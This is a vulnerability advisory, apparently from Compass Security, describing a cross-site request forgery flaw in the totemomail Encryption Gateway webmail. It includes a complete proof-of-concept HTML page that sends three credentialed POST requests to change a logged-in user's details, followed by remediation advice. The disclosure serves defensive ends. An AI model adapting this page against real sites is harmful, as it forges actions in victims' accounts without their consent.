Introduction:
-------------
The totemomail Encryption Gateway protects email communication with any external
partner by encryption. It doesn't matter whether you exchange emails with
technically savvy communication partners or with those who have neither an
appropriate infrastructure nor the necessary know-how. The encryption gateway
also makes it easy to securely send very large attachments.[1]

Compass Security discovered a vulnerability in the webmail part of the
solution. It is possible to predict all parameters that are required to
execute actions on the webmail interface. This allows an attacker to perform
Cross-Site Request Forgery (CSRF) attacks. The attacker needs to craft a malicious web
page that will automatically send a request to the Encryption Gateway. If the
user is logged in, the request will be executed by the Encryption Gateway on
behalf of the logged in user. This could be used to change a user's settings, send emails or
change contact informations.


Affected:
---------
Vulnerable:
* 6.0.0_Build_371

No other version was tested but is is likely that older versions are affected as
well.


Technical Description
---------------------
In the webmail, no anti-CSRF token is used. Although the viewState makes the
attack more complex, it is possible to entirely predict the requests and thus,
perform CSRF attacks. The requirement here is to perform the attack as a replay of a full
user interaction. One has to replay every request to make sure that the viewState is
updated on the server side and corresponds to the action that is performed by
the malicious page.

Such a malicious page is presented below, it will automatically send 3 requests
that will change the user's detail:
==========
<html>
<body>
<script>
function submitRequest1()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/webmail\/newMessage.xhtml", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "tabNavigationForm_SUBMIT=1&javax.faces.ViewState=An36[CUT BY COMPASS]XBJn&tabNavigationForm_j_id_24_j_id_26=tabNavigationForm$
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}

function submitRequest2()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/accountOverview\/preferences.xhtml", true);
xhr.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; q=0.01");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = true;
var body = "javax.faces.partial.ajax=true&javax.faces.source=preferencesForm_phoneNumber_input_text&javax.faces.partial.execute=preferencesForm_phoneNumber_input_tex$
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}

function submitRequest3()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/accountOverview\/preferences.xhtml", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "preferencesForm_firstname_input_text=CSRF&preferencesForm_lastname_input_text=CSRF&preferencesForm_phoneNumber_input_text=%2B41+00+000+00+00&preferencesF$
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}

submitRequest1();
submitRequest2();
submitRequest3();
</script>
</body>
</html>
==========


Workaround / Fix:
-----------------
Install an up to date version of totemomail Encryption Gateway.

As a developer, the requests that execute actions must include an unpredictable
element. This is usually done by using an anti-CSRF token. This token is a
random value tied to the user's session and must be verified by the server
before executing any action on behalf of the user.
